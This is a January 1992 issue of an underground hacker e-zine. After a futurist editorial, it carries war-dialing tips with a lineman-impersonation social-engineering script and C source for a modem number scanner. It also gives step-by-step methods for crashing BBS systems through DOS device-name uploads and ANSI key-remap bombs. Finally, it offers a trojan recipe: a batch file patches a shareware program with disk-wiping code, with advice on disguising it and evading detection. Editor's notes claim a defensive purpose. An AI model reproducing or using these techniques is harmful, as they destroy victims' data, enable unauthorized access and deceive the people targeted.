605 lines
23 KiB
Plaintext
605 lines
23 KiB
Plaintext
######### ############ #########
|
||
########### ############ ###########
|
||
#### #### #### #### ####
|
||
#### #### #### #### ####
|
||
#### #### ######## ###########
|
||
#### #### ######## #########
|
||
#### #### #### ####
|
||
#### #### #### ####
|
||
########### #### ####
|
||
######### #### ####
|
||
|
||
DIGITAL FREE PRESS
|
||
-------------------------------------------------------------------------------
|
||
V 1.0 Issue 1.0 January 1992
|
||
-------------------------------------------------------------------------------
|
||
|
||
* A Publication of The Underground Computing Foundation (UCF) *
|
||
|
||
* Send Submissions to: underg!hackers@uunet.uu.net *
|
||
|
||
* Editor: Max Cray (underg!max@uunet.uu.net) *
|
||
|
||
* BBS: The Underground (401) 841-5607 (v.32) *
|
||
|
||
------------------------------------------------------------------------------
|
||
|
||
In this Issue:
|
||
|
||
1. _The Future Computer_ Editorial by Max Cray
|
||
2. Phone Number Scanning by GodNet Raider
|
||
3. Fun with the CLOCK$ device driver by The Riddler
|
||
4. Homegrown Trojan by The BBC
|
||
|
||
------------------------------------------------------------------------------
|
||
|
||
The Future Computer
|
||
|
||
by Max Cray
|
||
|
||
In the future, your computer will be a standard household appliance,
|
||
like your water heater. It will probably be sitting in a back closet someplace
|
||
rarely seen. It will come with your house. Your house will also have a built
|
||
in local area network, and there will be terminals in almost every room.
|
||
The distinction between television, radio, and computer networks will
|
||
disappear, as the computer becomes the audio, and visual controller. Your
|
||
television will be a peripheral to your computer. It will receive from a cable
|
||
and feed into your computer, where you will be able to watch TV from any of the
|
||
terminals in the house. The terminals will consist of a monitor, probably with
|
||
a slot for a floppy disk, and a keyboard. Your stereo will also be a
|
||
peripheral to your computer but specialized music media will disappear as
|
||
music, movies, and new forms of entertainment will be distributed digitally on
|
||
normal computer disks, or through the network. Your video camera will also
|
||
become a computer PERIPHERAL, and the variety of programming will increase
|
||
exponentially, as private individuals will be able to create their own
|
||
programming to post on the audiovisual network, for all to experience. There
|
||
will be national audiovisual networks, and small private networks, similar to
|
||
computer bulletin boards of today, but they will be more like personal TV
|
||
stations. Those that watch will also contribute to programming, both real time,
|
||
and stored. You will be able to have your computer capture any real time event
|
||
you missed for storage, for you to later experiencing, editing, etc. You will
|
||
be able to send audio, and audiovisual mail, but normal electronic mail will
|
||
stay as many will not want to be seen or heard, especially early in the
|
||
morning.
|
||
There will be some political decisions to make, as those who control the
|
||
national computer networks will become very powerful, and freedom of expression
|
||
issues will continue to crop up, as there will be some who call for regulation.
|
||
However the power of the national networks will be leveraged by many smaller
|
||
networks, which will in fact have gateways to each other.
|
||
There will be centers for the treatment of those addicted to computers.
|
||
Your spouse will think it none too soon.
|
||
All the technology I have discussed already exists. The prime factor that
|
||
is preventing the changes to society is the cost of the technology. As we all
|
||
know, the cost of technology is always dropping. The speed that society
|
||
changes is directly related to the speed that the cost of technology drops.
|
||
|
||
-------------------------------------------------------------------------------
|
||
|
||
To: hackers@underg
|
||
Subject: Scanning.
|
||
From: gnr@tsf.UUCP (GodNet Raider)
|
||
Organization: The CyberUnderground
|
||
|
||
|
||
-=[ Intelligent Phone Number Scanning ]=-
|
||
|
||
-or-
|
||
|
||
/**********************************************/
|
||
/* How to find the number you are looking for */
|
||
/* without the help of a friendly operator. */
|
||
/**********************************************/
|
||
|
||
- written by -
|
||
GodNet Raider
|
||
- of -
|
||
The CyberUnderground
|
||
|
||
-=[ "Information is the greatest weapon of power to the modern wizard." ]=-
|
||
|
||
]----------------------------------------------------------------------------[
|
||
|
||
Introduction:
|
||
-------------
|
||
|
||
This phile is written to help in the eternal search for a place to jack
|
||
in. It contains tips that will help to make the most use of phone number
|
||
scanners and to better target a particular system.
|
||
|
||
|
||
Scanning Tools Needed:
|
||
----------------------
|
||
|
||
The only tools needed is a computer, phone number scanner software, and a
|
||
computer modem. The scanner program is one that dials numbers though your
|
||
modem under a given prefix and reports if a carrier (the signal that your
|
||
modem is connected to another modem) was found or not. There are a lot of
|
||
programs out there that will do this function nicely but for you obsessed
|
||
prodigies out there the source code for a simple scanner is provided at
|
||
the end of this phile.
|
||
|
||
Scanning Tips:
|
||
--------------
|
||
|
||
1) When looking for a particular system (company, school, etc..) keep in
|
||
mind the "+/- ten rule". This rule simply states that most jacks will
|
||
be found within ten (+/-) sequential instances from the normal
|
||
business phone number. In larger corporations this could be as much
|
||
as twenty (+/-). So to find a site with a business number at 555-1212
|
||
the scanner should start at 555-1202 and try the next twenty
|
||
instances (555-1202 to 555-1222) or ten below and above the base
|
||
number. It should also be noted that in places that had the system
|
||
installed long after it was established this system may not work. But
|
||
due to the great size and expense of some systems they are installed
|
||
day one, so the numbers are assigned to that site (voice, Data, fax,
|
||
etc..) sequentially.
|
||
|
||
2) Also in areas with more than one prefix (746, 747, 748) older sites
|
||
will be found on the lower prefixes (746/747), while newer
|
||
installations will be found on the higher ones (747/748).
|
||
|
||
3) Scanning should be done in small bursts to avoid alerting the PhoCo
|
||
to what you are up to. This means having the scanner only call about
|
||
3 numbers in a burst then wait 5 - 10 minutes for the next burst. It
|
||
is also a good idea to do no more than 50 tries every other day.
|
||
|
||
4) Don't go jacking right after finding a system. It is good practice to
|
||
wait a few days to allow any possible suspicion to wane.
|
||
It is easer to explain a seemingly one time jacking as "... Sorry,
|
||
must have misdialed a local bbs number. But I did hang up right away
|
||
as not to break any <sic> laws..." Than it is to explain why you
|
||
misdialed the number 50 times in less than 30 minutes.
|
||
|
||
5) Social Engineering is always an last resort. Calling the sites
|
||
business number between 12:30 and 1:30 will allow for the regular
|
||
sysadmin to leave for lunch leaving an intern or other busy/hurried
|
||
employee (who does not have the time to talk) to answer your inquiry.
|
||
Tell the person on the other end something like the following.
|
||
|
||
"Hello, This is linemen Xxxxxxx. I am out here at the junction
|
||
box and am tracing the line noise problem you reported. The
|
||
number on my service request does not show data equipment on that
|
||
line (give the number you are calling at this time)..."
|
||
|
||
If all goes well you should get a response like the following...
|
||
|
||
"Oh it seems you people at the PhoCo have screwed up (everyone
|
||
likes to take an elitist attitude toward the PhoCo. An love to
|
||
point out errors and correct them). You have the business number
|
||
listed as the system number(s). The system number(s) is/are..."
|
||
|
||
|
||
Scanner Source Code:
|
||
--------------------
|
||
|
||
The following source was written for the IBM pc/clones. As much ansi 'c'
|
||
was used as possible, but system specific information (like port i/o) has been
|
||
set off into specific functions so that it can be converted to other systems
|
||
without having to reinvent the wheel. This program takes information from
|
||
the command line and writes output to standard i/o.
|
||
|
||
+---- Cut Here ----+---- Cut Here ----+---- Cut Here ----+---- Cut Here ---+
|
||
|
||
/*
|
||
scanner.c
|
||
by GodNet Raider
|
||
|
||
It is assumed that the serial port and modem have already been setup.
|
||
Com 1 & 2 only supported.
|
||
*/
|
||
|
||
#include <ctype.h>
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <string.h>
|
||
#include <time.h>
|
||
|
||
#define FALSE 0
|
||
#define TRUE 1
|
||
#define DTR_ON(x) outp(anBCom[x]+4,0x03)
|
||
#define DTR_OFF(x) outp(anBCom[x]+4,0x00)
|
||
#define CTS(x) inp(anBCom[nPort]+5)&0x0020
|
||
#define DATA_READY(x) inp(anBCom[x]+5)&0x0001
|
||
|
||
char
|
||
*aszError [] =
|
||
{
|
||
"\nUsage: SCANNER <Port #> <PreFix> <Start #> <Count>\n"
|
||
"\tPort # - Serial port number to use.\n"
|
||
"\tPreFix - Static part of phone number(ie. 1-800-555-, 846-, etc..).
|
||
\n"
|
||
"\tStart # - last 4 digits of phone number (ie. 1212, 0065, etc..).\n"
|
||
|
||
"\tCount - Number of instances (single stepped) to scan.\n",
|
||
"\nNumbers are out of range.",
|
||
"\nModem error."
|
||
},
|
||
*aszTarget [] =
|
||
{
|
||
"connect",
|
||
"busy"
|
||
};
|
||
|
||
unsigned int
|
||
anBCom [] =
|
||
{
|
||
0x3f8,
|
||
0x2f8
|
||
};
|
||
|
||
unsigned int
|
||
Call (unsigned char, char*),
|
||
receive_chr (unsigned long, unsigned char),
|
||
send_chr (unsigned char, unsigned char);
|
||
|
||
void
|
||
FatalError (int),
|
||
main (int, char**),
|
||
Wait (unsigned long);
|
||
|
||
void main (argc, argv)
|
||
int
|
||
argc;
|
||
char
|
||
*argv [];
|
||
|
||
{
|
||
char
|
||
szWork [128];
|
||
unsigned char
|
||
nPort;
|
||
unsigned int
|
||
nPrsNum,
|
||
nEndNum;
|
||
|
||
if (argc < 5)
|
||
FatalError (1);
|
||
nPort = (unsigned char) atoi (argv [1]) - 1;
|
||
nEndNum = (nPrsNum = atoi (argv [3])) + atoi (argv [4]);
|
||
if (nPrsNum > 9999 || nEndNum > 9999 || nEndNum <= nPrsNum || nPort > 1)
|
||
FatalError (2);
|
||
while (nPrsNum != nEndNum)
|
||
{
|
||
printf ("%s%04i : ", argv [2], nPrsNum);
|
||
sprintf (szWork, "ATX4Q0V1DT%s%04i\r", argv [2], nPrsNum++);
|
||
printf ("%sCarrier Found\n", (Call (nPort, szWork) ? "" : "No "));
|
||
}
|
||
exit (0);
|
||
}
|
||
|
||
unsigned int Call (nPort, ptDialStr)
|
||
unsigned char
|
||
nPort;
|
||
char
|
||
*ptDialStr;
|
||
{
|
||
unsigned long
|
||
nWait;
|
||
unsigned int
|
||
nTmpCnt,
|
||
nResChr,
|
||
nRetCode = FALSE;
|
||
char
|
||
fCont = TRUE,
|
||
szWork [256] = "",
|
||
*ptWork;
|
||
|
||
DTR_ON (nPort);
|
||
Wait (5);
|
||
while (*ptDialStr)
|
||
if (send_chr (*ptDialStr, nPort))
|
||
ptDialStr++;
|
||
else
|
||
if (!(receive_chr (1l, nPort) & 0xff00))
|
||
{
|
||
outp (anBCom [nPort] + 4, 0x00);
|
||
FatalError (3);
|
||
}
|
||
ptWork = szWork;
|
||
nWait = time (NULL) + 30;
|
||
while (time (NULL) < nWait && fCont)
|
||
{
|
||
if ((nResChr = receive_chr (1l, nPort)) & 0xff00)
|
||
{
|
||
*(ptWork++) = (char) tolower (nResChr & 0x00ff);
|
||
*ptWork = 0x00;
|
||
for (nTmpCnt = 2; nTmpCnt && fCont; nTmpCnt--)
|
||
if (strstr (szWork, aszTarget [nTmpCnt - 1]))
|
||
{
|
||
if (--nTmpCnt)
|
||
printf ("[%s] ", aszTarget [nTmpCnt]);
|
||
nRetCode = !nTmpCnt;
|
||
fCont = FALSE;
|
||
}
|
||
}
|
||
}
|
||
DTR_OFF (nPort);
|
||
Wait (5);
|
||
return nRetCode;
|
||
}
|
||
|
||
unsigned int send_chr (cCh, nPort)
|
||
unsigned char
|
||
cCh,
|
||
nPort;
|
||
|
||
{
|
||
if (CTS (nPort))
|
||
{
|
||
outp (anBCom [nPort], (int) cCh);
|
||
return TRUE;
|
||
}
|
||
return FALSE;
|
||
}
|
||
|
||
unsigned int receive_chr (nWait, nPort)
|
||
unsigned long
|
||
nWait;
|
||
unsigned char
|
||
nPort;
|
||
{
|
||
nWait += time (NULL);
|
||
while (time (NULL) < nWait)
|
||
if (DATA_READY (nPort))
|
||
return ((inp (anBCom [nPort]) & 0x00ff) + 0x0100);
|
||
return FALSE;
|
||
}
|
||
|
||
void Wait (nWait)
|
||
unsigned long
|
||
nWait;
|
||
{
|
||
nWait += time (NULL);
|
||
while (time (NULL) < nWait);
|
||
}
|
||
|
||
void FatalError (nErrorNum)
|
||
int
|
||
nErrorNum;
|
||
{
|
||
printf (aszError [nErrorNum - 1]);
|
||
exit (nErrorNum);
|
||
}
|
||
|
||
+---- Cut Here ----+---- Cut Here ----+---- Cut Here ----+---- Cut Here ---+
|
||
|
||
]============================================================================[
|
||
|
||
|
||
Date: 08-03-91 (01:37) Number: 111 of 124
|
||
To: ALL Refer#: NONE
|
||
From: <SENSORED> Read: (N/A)
|
||
Subj: URGENT Status: PUBLIC MESSAGE
|
||
Conf: SYSOPS (5) Read Type: GENERAL (-)
|
||
|
||
*** ATTENTION MS-DOS BASED SYSTEM OPERATORS ***
|
||
|
||
This message is not a joke, scare, or farce. Read carefully and please
|
||
take precautions to prevent potential damage to your system.
|
||
|
||
A RI sysop has found [with the help of a local hacker - Ed]
|
||
a quite serious problem which appears to be in DOS.
|
||
The release of this information has to be done VERY carefully because of
|
||
the potential damage which can be done to bbs systems. (maliciously)
|
||
|
||
IF YOU WANT TO PREVENT DAMAGE TO YOUR SYSTEM:
|
||
|
||
Disable uploads with the pattern of CLO*.* immediately. If you do not,
|
||
you run the risk of not only crashing the board but losing your CMOS
|
||
configuration as well. This has been tested with 3 different PCBoard
|
||
systems, and they were affected immediately. This bug also affected the
|
||
tested computers in a non bbs environment (ie in DOS).
|
||
|
||
If you would like further information, please arrange a private voice
|
||
call or page during the day Saturday. Remember, we have to be very
|
||
careful about this information getting out there until this is addressed
|
||
and proper precautions have been taken by ALL sysops.
|
||
|
||
This problem is not a virus, trojan, or a particular file.... It is a
|
||
file NAME which causes this corruption of cmos configurations in 80286+
|
||
class machines, regardless of the file contents... The actual filename
|
||
has been PURPOSELY omitted from this message. Feel free to distribute
|
||
this notification to any other PRIVATE sysop base in the area. Note:
|
||
This should not be posted publicly, as it could be a potential security
|
||
problem and there are likely others that have not been discovered as of
|
||
yet. Please take any necessary precautions to protect your system.
|
||
|
||
[Editor's note: It's not that hard to run a MEM with the /d flag to find
|
||
the CLOCK$ device driver.]
|
||
|
||
--------------------------------------------------------------------------
|
||
|
||
Subject: Phrack 35
|
||
From: riddler (The Riddler)
|
||
|
||
In Phrack 35 a letter from The Dark Lord Sarik Malthus asking for the
|
||
justification of hacking: "...in your mind justify the actions of hackers..."
|
||
He runs a small bulletin board (running WWIV v.4.20) with an oppressive
|
||
fashion. He censors email and very strictly dictates behaviour on his BBS.
|
||
He does this, not by any social standards but by his own, which I admit is
|
||
admirable...but not when it suppresses FREEDOM OF INFORMATION. The experience
|
||
he has had with hackers was primarily with me crashing his board by repeatedly
|
||
finding bugs in the WWIV system. I tried every technique explained in
|
||
Phrack 34 with no success. However, I am writing to explain a few ways of
|
||
harmlessly and temporarily crashing any WWIV and most other BBS packages.
|
||
|
||
In the MS-DOG environment we are endowd with a few devices such as:
|
||
COM1, COM2, AUX, PRN, CON, and CLOCK$, yes there is such a device.
|
||
|
||
Previous to Dark Lord's upgrade to version 4.20 of WWIV he was running version
|
||
4.12.
|
||
|
||
Here are two ways to crash that system:
|
||
|
||
Note: Use XMODEM OR ASCII PROTOCOLS, NOT ZMODEM OR YMODEM.
|
||
|
||
- #1 -
|
||
|
||
Goto to the file xfer section.
|
||
Choose to upload a file.
|
||
When propted with the filename, type COM2 (most likely where his modem is).
|
||
Finding this device as a file, WWIV asks if you would like to add that
|
||
filename to the file database; say yes.
|
||
At that point the file "COM2" will appear as a file available for download.
|
||
Download it.
|
||
Woooops. A big problem occurs when MS-DOG attempts to read from and write
|
||
to the same device name simultaniously. Oh well.
|
||
What will most likely happen is either a hardware lock-up or a dos
|
||
error message like "Write fult error reading COM2, Abort, Retry...."
|
||
Both require that a sysop do something to get the system back up.
|
||
|
||
- #2 -
|
||
|
||
Again, goto the file xfer section.
|
||
Choose to upload a file
|
||
When prompted with the name say you want to upload clock$.zip (ext. does not
|
||
matter). Upload any 'ol file on your harddrive, at least 6 bytes or so.
|
||
That upload will be fed directly to his clock as a new time setting. The bytes
|
||
being rather random, so will the new date/time. When you complete the xfer
|
||
WWIV attempts to find out how long you have been xfering for and how much
|
||
time you have left for that session and completely keels over.
|
||
It will not recover until the sysop has rebooted and reset the clock
|
||
or the CMOS-clock (if he has CMOS).
|
||
Clean cut and annoying.
|
||
|
||
- #3 - (not very thoroughly tested but should word)
|
||
|
||
Everything the same as in the previous to cracks up to the device name.
|
||
This time upload CON.
|
||
Upload your favourite ansi bombs and remap often used keys to =
|
||
nasty dos commands or whatever...on the
|
||
remote system's keyboard. Hopefully the sysop will have loaded, the
|
||
regular ansi.sys that comes with DOS. This is being fed directly
|
||
to his CON -- his keyboard/screen. Try to do this while the sysop
|
||
is in bed.
|
||
|
||
------------------------------------------------------------------------------
|
||
But oh no! Version 4.20 of WWIV came out. What will we do now?
|
||
It now prevents users from uploading files by the names of devices
|
||
altogether.
|
||
Try these techniques:
|
||
------------------------------------------------------------------------------
|
||
|
||
- #4
|
||
|
||
Create a zipfile containing a file of no less than 6 bytes (again) with a name
|
||
of exactly 6 char's. Then, using your favourite hex editor open your zipfile
|
||
and change the two occurences of your chosen filename of the file in the
|
||
zipfile to "ClOck$" (not case sensitive).
|
||
After the upload is completed goto the archive menu (a submenu off of the xfer
|
||
menu). Choose to extract a file within your zipfile temporarily. Extract the
|
||
clock$ within your freshly uploaded zipfile. WWIV, with the assistance of
|
||
PKzip will extract the contained clock$'s contents and spew every byte right
|
||
into the clock$ device again. Clock/cmos screwed again. Locking crashing the
|
||
board and locking the computer up. Woops.
|
||
|
||
#5
|
||
|
||
Or try this:
|
||
Goto the archive menu in xfer section
|
||
choose to (A)dd a file to a temporary archive
|
||
then, guess what? choose clock$.
|
||
WWIV, again with help from PKzip will (this time) read (not write) from
|
||
the clock$. Since it will never reach the EOF it is looking for, as it
|
||
would in a regular file WWIV keels over again. In this process messing
|
||
the clock up thoroughly. Locking the board and/or computer up.
|
||
|
||
--------------------------------------------------------------------------
|
||
| Uploading clock$ works also, on all PCBoard's versions 14.5 and lower. |
|
||
--------------------------------------------------------------------------
|
||
|
||
I have more BBS crashing techniques if you would like them.
|
||
Other BBS's different techniques.
|
||
|
||
Happy Cracking and a Happy Crashed Year.
|
||
>From of The Underground Computing Foundation.
|
||
|
||
The Riddler
|
||
underg!riddler@uunet.uu.net
|
||
|
||
[Editors Note: The UCF does not condone destructive actions. This material
|
||
is distributed to help sysops protect themselves from dangerous
|
||
users like The Riddler.]
|
||
|
||
------------------------------------------------------------------------------
|
||
|
||
Subject: Fun...
|
||
From: bbc (the bbc)
|
||
|
||
So you say your bored... Want to do somthing but not sure what...
|
||
Well how about crashing a smug WWIV sysop!
|
||
|
||
Why not not make a trojan [We mean the horse type] and send it
|
||
to them. How you say... Well not that weeeeeee... would condone such
|
||
an act..... But for information purposes only we will give you the
|
||
method to our maddness...
|
||
|
||
Step 1:
|
||
|
||
Make a batch file called "INJECT.BAT" and in it place
|
||
the following commands -
|
||
|
||
============================================================
|
||
echo off
|
||
cls
|
||
echo e cs:0100 b4 19 cd 21 b9 09 00 33 d2 cd 26 > ~~temp.~tp
|
||
echo w >> ~~temp.~tp
|
||
echo q >> ~~temp.~tp
|
||
debug %1 < ~~temp.~tp > nul
|
||
erase ~~temp.~tp > nul
|
||
==============================================================
|
||
|
||
Step 2:
|
||
|
||
Then copy a *.COM file into the same directory. Should
|
||
be part of some shareware thing that the sysop would like.
|
||
With docs an all... would not want them to get suspicious,
|
||
now would we.............
|
||
|
||
Step 3:
|
||
|
||
Run the following command from the dos prompt...
|
||
|
||
INJECT <COM file to inject with trojan>
|
||
|
||
Step 4:
|
||
|
||
Re- zip, arc, lharc, zoo, ect... the thing with it's
|
||
other files...
|
||
|
||
Step 5:
|
||
|
||
Upload the mess to the unsupecting sysop and watch the fun!
|
||
|
||
|
||
See and you thought hacking was hard...... Of course if thay
|
||
get smug and start searching for the injected code.... We'll just have
|
||
to add extra code (nops' ect) and switching some of the code around...
|
||
|
||
Next lesson How to bypass Disk protect programs and WWIV door
|
||
security.... Dont miss it.... Same bat time! Same bat channel!
|
||
|
||
The BBC
|
||
|
||
-------------------------------------------------------------------------------
|
||
|
||
[Editors note: In case you missed that BBC hack here it is disassembled:
|
||
|
||
0100 B419 MOV AH,19 'Get Default Drive
|
||
0102 CD21 INT 21 'Call DOS
|
||
0104 B90900 MOV CX,0009 'Write 9 Sectors
|
||
0107 33D2 XOR DX,DX 'Starting as sector 0
|
||
0109 CD26 INT 26 'Absolute Disk Write (Oouch!)
|
||
|
||
And thats all she wrote...
|
||
|
||
You can protect yourself from software that does this by using a utility
|
||
like MIRROR or IMAGE.]
|
||
|
||
Keep those letters coming...
|
||
|
||
The End
|
||
|
||
|
||
|
||
|